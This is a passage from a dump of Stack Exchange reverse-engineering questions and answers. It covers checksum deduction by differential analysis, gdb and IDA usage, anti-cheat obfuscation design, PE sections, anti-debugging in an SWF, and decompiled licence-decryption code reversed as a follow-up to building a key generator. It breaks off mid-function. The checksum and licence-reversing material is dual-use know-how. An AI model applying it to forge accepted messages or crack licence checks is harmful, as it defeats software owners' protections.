(00)&#xA;FFFFFFFF01671F84000000000000000000000000000000000001010021EADE08 (01)&#xA;FFFFFFFF01671F88000000000000000000000000000000000001010021EEDE04 (02)&#xA;FFFFFFFF01671F86000000000000000000000000000000000001010021ECDE06 (03)&#xA;FFFFFFFF01671F8C000000000000000000000000000000000001010021F2DE00 (04)&#xA;FFFFFFFF01671F8A000000000000000000000000000000000001010021F0DE02 (05)&#xA;FFFFFFFF01671F86000000000000000000000000000000000001010021ECDE06 (06)&#xA;FFFFFFFF01671F8C000000000000000000000000000000000001010021F2DE00 (07)&#xA;FFFFFFFF01671F90000000000000000000000000000000000001010021F6DDFC (08)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the input bytes are the same, except one byte that increases by 1 in each message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/raw.php?i=vT6KPUQH&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; is a list of 50 or so pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Basically, are there any analysis methods that can be applied to a set of data to determine some properties of the algorithm? I can generate any number of these messages, and verify that they are accepted.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: By shifting a single bit, I noticed that 0x04 was added to two bytes, but subtracted to another (F84 -&gt; F88,  1EA -&gt; 1EE,  E08 -&gt; E04).&#xA;After some experimentation (Mainly adding and subtracting different values and testing them) I was lucky that it turned out to be a summation of the fourteen preceding 16-bit words. AND-masking the sum by 0xFFFF, this value equals 15th word (e.g. 21EA in the first message).&#xA;This value is then subtracted from 0xFFF2 to produce the 16th word in the message.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FFFFFFFF01671F84000000000000000000000000000000000001010021EADE08&#xA;FFFFFFFF01671F88000000000000000000000000000000000001010021EEDE04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10375" LastEditorUserId="10375" LastEditDate="2014-12-31T07:27:44.147" LastActivityDate="2014-12-31T07:27:44.147" Title="Reversing simple message + checksum pairs (32 bytes)" Tags="|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6929" PostTypeId="2" ParentId="6927" CreationDate="2014-12-30T20:08:31.633" Score="6" Body="&lt;p&gt;Some of the samples inputs shown differ only in the value of the sixteenth nibble; let 's(X)' stand for such an input with value X at that nibble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s(4): FFFFFFFF01671F840000000000000000000000000000000000010100 21EADE08&#xA;s(6): FFFFFFFF01671F860000000000000000000000000000000000010100 21ECDE06&#xA;s(8): FFFFFFFF01671F880000000000000000000000000000000000010100 21EEDE04&#xA;s(A): FFFFFFFF01671F8A0000000000000000000000000000000000010100 21F0DE02&#xA;s(C): FFFFFFFF01671F8C0000000000000000000000000000000000010100 21F2DE00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a similar vein, let 'o(Y)' stand for the bit string consisting entirely of zeroes except for value Y at the sixteenth nibble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's confront the XOR (bit difference) of certain inputs and the XOR of the corresponding checksums as MSB-first bitstrings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s(4) ^ s(6) = o(2), cksum delta: .............**.............***.&#xA;s(8) ^ s(A) = o(2), cksum delta: ...........****..............**.&#xA;s(8) ^ s(C) = o(4), cksum delta: ...........***...............*..&#xA;s(4) ^ s(C) = o(8), cksum delta: ...........**...............*...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The lowest set bit of the checksum differences is equal to the bit where the inputs differ, and there is a matching difference exactly sixteen bits higher. The bursts of set bits could be due to bubbling carries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here are the XOR differences between the corresponding CRC32 values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s(4) ^ s(6) = o(2), crc32 delta: .*****.*.......***...*..***..*..&#xA;s(8) ^ s(A) = o(2), crc32 delta: .*****.*.......***...*..***..*..&#xA;s(8) ^ s(C) = o(4), crc32 delta: *.***.**.....*..*****..*...*..*.&#xA;s(4) ^ s(C) = o(8), crc32 delta: .***.**.....*..*****..*...*..*.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The structure of the changes is completely different and much more complicated. Note the CRC difference for inputs that differ in the same bit (first two lines), and the density of the differences which approaches the theoretical 50%. This is because CRCs have much better diffusion (avalance effect) than simple, empirical checksums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now the picture for a hash with near-perfect diffusion (the murmur hash mixer function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s(4) ^ s(6) = o(2), murmur delta: ..*..*.....**.**..*..*....**..**&#xA;s(8) ^ s(A) = o(2), murmur delta: .*.*.*.*.*..*..*.*.*.*.**.*.*.*.&#xA;s(8) ^ s(C) = o(4), murmur delta: ..****.*****.******.**.**.******&#xA;s(4) ^ s(C) = o(8), murmur delta: .***...***.**...*.*....**.*.**.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is easy to get a feel for the structure of a checksum by observing these differentials for increasingly complex functions: sum, xor, xorshift, some classical hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then turn the spotlight on your target function. Observe output differences for some fixed inputs, letting single bit flip wander through the string. Observe output differences for single-bit differences at certain fixed positions for a series of different inputs. Let the difference position hop in increments of 8 bits, observe the behaviour. Then try 32-bit hops, observe. If possible, focus initial investigation on the last 32 bits of the input, since their relation to the output is bound to be a lot simpler than that for bits that went through more iterations... The structure of the hash function cannot hide itself from you for long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was a look at xor differentials. Depending on the hypothesised structure of the checksum, other experiments are possible. As a real-life example, a few years back I had to deduce various check digit algorithms (similar in nature to the ISBN check digit algorithm) based on sample batches of (mostly) correct specimens. Since these algorithms are based on multiplying digits with certain position-dependent weights, I searched for pairs of numbers that differed only in one single digit apart from the checksum. By fixing certain hypotheses regarding how the sum is turned into a check digit, this allowed my to deduce the weight (1, 2, 3, 4...) for each digit and to identify the correct hypothesis for the sum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case under consideration it is certainly suggestive that the sixteenth nibble and the final nibble of the checksum sum to 12 (0x0C), for the five samples that I used here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the basic idea is to confront input differences with output differences, modulated by one's suspicion regarding the structure of the function that needs to be inferred. Things can get very tricky if sample pairs with minimal differences are scarce. Conversely, if you can produce samples at will (chosen-plaintext attack) then things are looking very good indeed... &lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2014-12-30T20:08:31.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6933" PostTypeId="1" AcceptedAnswerId="6934" CreationDate="2014-12-31T07:57:09.603" Score="3" ViewCount="9462" Body="&lt;p&gt;I know that I can output the value of a variable using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p var_name&#xA;$1 = &quot;varvalue&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the value of a variable while debugging with gdb? The document that I'm using doesn't seem to have this command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've since learned that I can change the state of objects in memory by simply calling their functions! So to modify an object of type &lt;code&gt;std::string&lt;/code&gt;, just call the &lt;code&gt;assign&lt;/code&gt; function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) call str.assign(&quot;New Value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="10371" LastEditorUserId="10371" LastEditDate="2015-01-02T05:08:19.260" LastActivityDate="2018-12-11T06:00:25.237" Title="How can I change the value of a variable while debugging?" Tags="|linux|gdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6934" PostTypeId="2" ParentId="6933" CreationDate="2014-12-31T08:14:34.857" Score="6" Body="&lt;p&gt;Google is your friend:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, if your program has a variable width, you&#xA;  get an error if you try to set a new value with just `set width=13',&#xA;  because GDB has the command set width:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(gdb) whatis width  &#xA;type = double   &#xA;(gdb) p width $4 = 13  &#xA;(gdb) set width=47  &#xA;Invalid syntax in expression. &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The invalid expression, of course, is `=47'. In order to actually set&#xA;  the program's variable width, use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(gdb) set var width=47&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find the needed information in the &lt;a href=&quot;http://www.delorie.com/gnu/docs/gdb/gdb_118.html&quot; rel=&quot;nofollow&quot;&gt;following document&lt;/a&gt;:&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="1485" LastEditDate="2015-01-02T15:12:29.313" LastActivityDate="2015-01-02T15:12:29.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6935" PostTypeId="1" AcceptedAnswerId="6937" CreationDate="2014-12-31T09:25:27.320" Score="2" ViewCount="2503" Body="&lt;p&gt;Is there any way to use an existing IDB from the IDA command line interface ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went through the list of command line switches &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but there isn't any related switches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am currently scripting IDA to do some processing based on the same file, I realised I could save some time by reusing the existing IDB, instead of repeatedly deleting and creating another new IDB per iteration. ( -c causes this behavior )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current command: &lt;code&gt;idaw.exe -c -A -SC:\someScript.py&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="10392" LastActivityDate="2014-12-31T15:26:36.127" Title="Using an existing IDB from IDA command line interface" Tags="|ida|idapython|automation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6936" PostTypeId="2" ParentId="6935" CreationDate="2014-12-31T12:16:23.467" Score="0" Body="&lt;p&gt;when i need to get some function info on an existing idb i use this see if it helps&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;cat idc\dumpfun.idc&#xA;#include &amp;lt;idc.idc&amp;gt;&#xA;static main () {    &#xA;        auto fun,ref,funname,fullstr,instr,fpi,fpo;&#xA;        Batch(1);&#xA;        fun = MinEA();&#xA;        fpi = fopen(&quot;input.txt&quot;,&quot;rb&quot;);&#xA;        instr = readstr(fpi);&#xA;        fclose(fpi);&#xA;        fpo = fopen(&quot;outtext.txt&quot;,&quot;wb&quot;);&#xA;        while (fun != -1) {&#xA;                fun = NextFunction(fun);&#xA;                ref = RfirstB(fun);&#xA;                funname = GetFunctionName(fun);&#xA;                if( strstr(instr,funname) != -1) {&#xA;                        fullstr = form(&quot;%x %x %s\n&quot;,fun,ref,funname);&#xA;                        writestr(fpo,fullstr);    &#xA;                }&#xA;        }&#xA;        fclose(fpo);&#xA;        Exit(0);    &#xA;}&#xA;&amp;gt;echo VirtualQuery &amp;gt; input.txt    &#xA;&amp;gt;cat input.txt&#xA;VirtualQuery    &#xA;&amp;gt;del outtext.txt    &#xA;&amp;gt;idag   -Sdumpfun.idc idag.idb    &#xA;&amp;gt;cat outtext.txt&#xA;5706b8 567b5f VirtualQuery&#xA;ffffffff ffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-12-31T12:16:23.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6937" PostTypeId="2" ParentId="6935" CreationDate="2014-12-31T15:26:36.127" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My current command: &lt;code&gt;idaw.exe -c -A -SC:\someScript.py&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Remove the &lt;code&gt;-c&lt;/code&gt; and add the existing IDB file's path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;idaw.exe -A -SC:\someScript.py C:\existingIdb.idb&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-31T15:26:36.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6940" PostTypeId="2" ParentId="6841" CreationDate="2015-01-01T11:44:13.423" Score="4" Body="&lt;p&gt;Here are some thoughts on the fundamental problem and a possible solution; even if the full system goes way beyond your dev budget, some key ideas might still be useful for fashioning your own solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crypto is of little use if you don't have the leverage that makes the crypto algorithm itself the weakest link in the system, just like a ten-inch steel door won't offer security if it is installed in a tent or in a knee-high fence. If the AES implementation is external to your bytecode blob then its entry point is easy to hook, serving the key up on a silver platter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several factors working against you here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Modularisation greatly aids analysis. Once a body of code has been recognised as serving a certain function - perhaps even a well-known algorithm like CRC32, MD5 or AES - the purpose of its invocations is clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) Optimising compilers greatly aid analysis, by reducing redundancy. Unless they're overly fond of inlining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) All external interactions of your code (OS calls, library calls) give the attacker a clue as to what's going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you can win anyway: you need to institute a massive shell game to render those clues worthless, you need to break modularisation by interleaving a great number of computations; further, you need to make the state to be verified part of the key, and you need to bind the whole shebang to a particular game session, client process and machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of doing this is to write a kind of byte code interpreter that implements the fundamental operations you need for the verification: xor two cells, add two others, hash a string, checksum a memory range, retrieve the process id and so on. Essentially a tiny general script similar to IDC or NWScript, with a couple of special 'macro' ops thrown in. Elementary operations take operands from an array of cells (registers) and deliver their results to some cell in the array. Every cycle (operation) also involves cycling a set of simple RNGs (xorshift, KISS, whatever) and a shuffle step of the function table and cell array based on those RNGs. The critical point is that the elements of the state to be verified must be reducible to numeric values that can be used to perturb the RNG state as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as a single step of the verification returns the wrong result, all subsequent instructions will be decoded erroneously, meaning the code cannot even be analysed in an environment that fails verification. This protects everything that's computed after the end of the verification code proper, like a session key for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that remains is binding every bytecode blob to a particular client session, that is, to generate a blob specifically for it. Another client session gets a different blob, so there's no info that can be ripped from a legit client session and then used to unlock a bot session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The verification needs to be broken down into a series of small steps; i.e. instead of checksumming one big memory range in a single go, do dozens of smaller checksum operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll be writing the verification code in your simple script language as usual; a special program analyses the dependency graph of the resulting object code and determines which bytecode can be executed when, effectively inlining everything into one huge monster function. That's the preprocessing step, done once. Then follows a code generation step where schedulable bytecodes are chosen in a pseudo-random fashion (based on a session key) and compiled into a blob. As each bytecode is chosen, it must also be executed in an environment that passes muster, for proper updating of the interpreter state (RNG state, shuffle state of function table and cell array). There can be hundreds of separate computation strands that can be schedulable at a given point, at least early on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to controlling bytecode scheduling, the session key can also control the verification operations that you compile into a particular session blob (perhaps choosing from a pool, and parametrising the elementary checksum ranges). This way, analysing a legit client's blob gives the attacker only a fraction of the verification operations that they have to fool/emulate in order to succeed. In extremis you can get away with checksumming only a tiny fraction of the process image while your attackers need to present (or virtualise) the whole image in a pristine fashion, because they don't know which particular areas will be checksummed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementing the bytecode system on top of another bytecode system may constrain things a bit, mostly in terms of performance (achievable complexity) and achievable obscurity (recognisable function call to retrieve the process id instead of plain, unnamed machine instructions peeking &lt;code&gt;gs:[30h]&lt;/code&gt; and going from there). But the principle holds, even if you have to use a giant switch statement instead of a function table. For some strange reason, it seems to be somewhat customary to implement crypto operations (RNGs like Marsaglia's KISS, hashes, ciphers) on top of the bytecode system... Probably because it's so easy to write and so hard to analyse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leverage - the way this integrates into the overall system - is just as important here as with crypto. You don't want your ten-inch steel door to be bypassed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, systems like this are not resilient at all, they are very brittle. If one single verification op is too eager/constraining then you'll have thousands of legitimate clients howling in outrage... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that things like anti-malware systems, graphics drivers and so on like to f*ck things up and inject DLLs into running processes, which can make white-listing loaded modules a bit tricky. For example, an attacker may inject a DLL with the NVIDIA name into a game running on an ATI card. Detouring is quite common as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.cs.arizona.edu/~collberg/content/research/papers/collberg98manufacturing-clean.pdf&quot; rel=&quot;nofollow&quot;&gt;Manufacturing Cheap, Resilient, and Stealthy Opaque Constructs&lt;/a&gt; (Collberg)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://repo.hackerzvoice.net/depot_ouah/wobfuscation.pdf&quot; rel=&quot;nofollow&quot;&gt;General Method of Program Code Obfuscation&lt;/a&gt; (Wroblewski)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://researchspace.auckland.ac.nz/bitstream/handle/2292/3491/TR148.pdf&quot; rel=&quot;nofollow&quot;&gt;A Taxonomy of Obfuscating Transformations&lt;/a&gt; (Collberg)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: canned solutions like automatic obfuscators tend to fall to canned hacks. Whether that's a problem or not depends more on accident (presence of skilled reversers among your audience, and the amount of time they're willing to invest) than anything else. For example, there don't seem to be any generic unpackers for the EA/Denuvo sh*te out there even though their schemes are about a decade behind the state of the art. I guess there was no one who had both the skill and a thirst for fame...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-02T07:42:06.557" LastActivityDate="2015-01-02T07:42:06.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6941" PostTypeId="1" AcceptedAnswerId="6942" CreationDate="2015-01-02T03:18:07.717" Score="10" ViewCount="12799" Body="&lt;p&gt;According to MSDN, the &lt;code&gt;.rdata&lt;/code&gt; section of a PE should contain the debug directory and the description string. I've read elsewhere that it contains read-only program data. Dumping several files, I found that &lt;code&gt;.rdata&lt;/code&gt; contains the IAT, load configuration table, and safe exception handler table. Can someone please clarify the purpose of &lt;code&gt;.rdata&lt;/code&gt; and why what I find in there disagrees with both descriptions? Also, shouldn't the import information be in &lt;code&gt;.idata&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming different compilers and different versions of the same compiler treat the same sections differently. If that's the case, where can I get more information on this?&lt;/p&gt;&#xA;" OwnerUserId="10404" LastEditorUserId="10404" LastEditDate="2015-01-02T03:25:56.710" LastActivityDate="2021-02-12T11:36:53.537" Title="PE .rdata section contents" Tags="|pe|compilers|section|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6942" PostTypeId="2" ParentId="6941" CreationDate="2015-01-02T07:25:02.243" Score="12" Body="&lt;p&gt;It is &lt;strong&gt;customary&lt;/strong&gt; for read-only data of all kinds to be lumped into .rdata. However, that's a matter of expedience, not necessity. Compiler and linker can put any data anywhere they like, as long as it is referenced correctly in the data directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first point of call should be Microsoft's &lt;a href=&quot;http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;noreferrer&quot;&gt;PE COFF specification&lt;/a&gt; (currently v8.3). Remarks and pointers regarding the divergence between theory and practice can be found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6874/is-not-valid-win32-application-why/6878#6878&quot;&gt;in another topic&lt;/a&gt; here on RE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to extract/parse the information then you can ignore the section names completely; just use the info in the data directory.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-01-02T07:25:02.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6943" PostTypeId="1" CreationDate="2015-01-02T15:37:59.740" Score="2" ViewCount="826" Body="&lt;p&gt;I am trying to reverse a swf file that is loaded into a AS3 application and executed by that application. The problem is that the injected file is obfuscated and no decompiler could manage to show me a clear code. Further more, while using &lt;a href=&quot;http://www.swfwire.com/debugger&quot; rel=&quot;nofollow&quot;&gt;SWFWire Debugger&lt;/a&gt;, which did its job, I found out that the loaded swf was checking the environment in which it was executed. Therefore when loaded by SWFWire Debugger it redirects me to a stub making the swf crash itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, i tried to recreate the environment in which the swf was executed by creating a AS app and loaded it through a &lt;a href=&quot;http://helpx.adobe.com/flash/kb/load-external-swf-swf.html#main_Using_the_ActionScript_3_0_Loader_class&quot; rel=&quot;nofollow&quot;&gt;Loader&lt;/a&gt;. It work well and the injected file did not crash which lets me think that the stub function was not called, but i am still not exactly sure of what are the actions performed to the app by this injected file so i was wondering how could i debug the injected swf like in SWFWire Debugger, but keeping all the AS environment that i recreated so that the debug would not lead me again to a stub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure that my explanations are very clear,&#xA;if you want any further details or just to clarify the situation let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: The app is using Action Script 3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Also found out that the injected swf makes itself crash when it detected that it's bytecode was modified. The problem is that SWFWire Debugger modifies the bytecode of what one is trying to debug to add trace all around the code. Therefore, as the injected swf's bytecode is modified it will make itself crash when debugged.&lt;/p&gt;&#xA;" OwnerUserId="10408" LastEditorUserId="10408" LastEditDate="2015-01-04T10:23:31.203" LastActivityDate="2015-02-12T15:54:15.947" Title="Decompile injected SWF in a specific environment" Tags="|anti-debugging|swf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6944" PostTypeId="1" CreationDate="2015-01-02T19:39:21.367" Score="1" ViewCount="362" Body="&lt;p&gt;How/Where can i get variants of a malware ?&#xA;The only thing that concerns is that the variants must be a continuous update of the previous one&lt;/p&gt;&#xA;" OwnerUserId="10410" LastActivityDate="2015-01-04T14:44:35.210" Title="Where can i download malware variants" Tags="|binary-analysis|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2015-01-05T04:00:15.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="6945" PostTypeId="1" AcceptedAnswerId="6946" CreationDate="2015-01-03T03:42:35.620" Score="3" ViewCount="646" Body="&lt;p&gt;I'm trying to identify a decryption scheme used by some licencing mechanism. It took me some time to realize that this was encryption and this is some kind of follow up to this other question of mine : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6858/create-key-generator-algorithm-from-validation-algo&quot;&gt;Create key generator algorithm from validation algo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some homework and it seems to me that the key characteristics of this decryption are the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-The input is base64 decoded first (with some non standard key tables, but the algo is quite identical)&lt;br&gt;&#xA;2-It is decrypted with a key of the same length as the input. This might be a one time pad or simply a very long key for very short data (both are 512 bits)&lt;br&gt;&#xA;3-Most importantly and what baffles me is that the decryption algo uses NO xor. Every cipher I've seen use XOR at some point in the decryption but there simply is none here.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point 3 is what I really don't understand here. I fail to see how to generate data that can be decrypted without XOR. Using bitshifting and AND/OR masking seems to lose a lot of information during the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known ciphers which match those characteristics?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok here is some deeper description of the algo :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one function that is called multiple times. It first creates 2 tables with the data and the decryption key. The second one is based on the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function first creates a table with the data and then processes that data with the decryption key in another table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table created from the data is made by manipulating each 32 bits blocks (master block) from the data with the entire data with additions so that it yields a single &lt;code&gt;unsigned int&lt;/code&gt; for each of the 16 32 bit blocks. The call for this looks like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hash_block(&amp;amp;result1, &amp;amp;result2, current_master_block, data_array[i]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hash_block looks like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void hash_block(int *result1, int *result2, unsigned int pMaster_block, unsigned int pCurrent_block)&#xA;{&#xA;    int current_block;&#xA;    unsigned int current_high_short;&#xA;    int master_high_times_master; &#xA;    unsigned int master_high_master_short;&#xA;    int master_high_times_current;&#xA;    unsigned int sum_of_mixes;&#xA;&#xA;    current_block = (unsigned __int16)pCurrent_block;&#xA;&#xA;    current_high_short = pCurrent_block &amp;gt;&amp;gt; 16;&#xA;    master_high_times_master = HIWORD(pCurrent_block) * (unsigned __int16)pMaster_block;&#xA;    master_high_master_short = pMaster_block &amp;gt;&amp;gt; 16;&#xA;    *(_DWORD *)result1 = current_block * (unsigned __int16)pMaster_block;&#xA;    master_high_times_current = current_block * HIWORD(pMaster_block);&#xA;    sum_of_mixes = master_high_times_current + master_high_times_master;&#xA;    *(_DWORD *)(result2) = (unsigned __int16)current_high_short * (unsigned __int16)master_high_master_short;&#xA;    if ( master_high_times_current &amp;gt; sum_of_mixes )&#xA;        *(_DWORD *)(result2) += 65536;&#xA;    *(_DWORD *)result1 += sum_of_mixes &amp;lt;&amp;lt; 16;&#xA;    if ( sum_of_mixes &amp;lt;&amp;lt; 16 &amp;gt; *(_DWORD *)result1 )&#xA;        ++*(_DWORD *)(result2);&#xA;    *(_DWORD *)(result2) += sum_of_mixes &amp;gt;&amp;gt; 16;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm currently cleaning up the code a bit, I'll follow up with more information on how the second part of the algo works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2 :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a very complex function that I can't make sense of which is run 248 times in this function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __fastcall sub_4D5AC0(int* result, int* serial_copy, unsigned int last_keyitem)&#xA;{&#xA;  unsigned int v3; // edi@1&#xA;  unsigned int v4; // edi@2&#xA;  int v5; // eax@4&#xA;  int v6; // eax@7&#xA;  unsigned int v7; // eax@11&#xA;  //int return_value; // ecx@25&#xA;  int* v10; // [sp+0h] [bp-24h]@1&#xA;  unsigned int v11; // [sp+4h] [bp-20h]@4&#xA;  int v12; // [sp+4h] [bp-20h]@16&#xA;  unsigned __int64 v13; // [sp+4h] [bp-20h]@18&#xA;  int v14; // [sp+8h] [bp-1Ch]@1&#xA;  unsigned int v15; // [sp+8h] [bp-1Ch]@6&#xA;  unsigned int v16; // [sp+10h] [bp-14h]@16&#xA;&#xA;  v3 = *(serial_copy + 1);&#xA;  v14 = *(serial_copy + 1);&#xA;  if ( HIWORD(last_keyitem) == -1 )&#xA;    v4 = v3 &amp;gt;&amp;gt; 16;&#xA;  else&#xA;    v4 = v3 / ((unsigned int)HIWORD(last_keyitem) + 1);&#xA;  v5 = (unsigned __int16)last_keyitem * (unsigned __int16)v4 &amp;lt;&amp;lt; 16;&#xA;  v11 = *serial_copy - v5;&#xA;  //if ( -1 - v5 &amp;lt; v11 )&#xA;  if ( ~v5 &amp;lt; v11 )&#xA;    --v14;&#xA;  v15 = v14 - ((unsigned __int16)last_keyitem * (unsigned int)(unsigned __int16)v4 &amp;gt;&amp;gt; 16) - HIWORD(last_keyitem) * (unsigned __int16)v4;&#xA;  while ( 1 )&#xA;  {&#xA;    if ( HIWORD(last_keyitem) &amp;gt;= v15 )&#xA;    {&#xA;      v7 = HIWORD(last_keyitem);&#xA;      if ( HIWORD(last_keyitem) != v15 )&#xA;        break;&#xA;      v7 = (unsigned __int16)last_keyitem &amp;lt;&amp;lt; 16;&#xA;      if ( v7 &amp;gt; v11 )&#xA;        break;&#xA;    }&#xA;    v6 = (unsigned __int16)last_keyitem &amp;lt;&amp;lt; 16;&#xA;    v11 -= v6;&#xA;    if ( -1 - 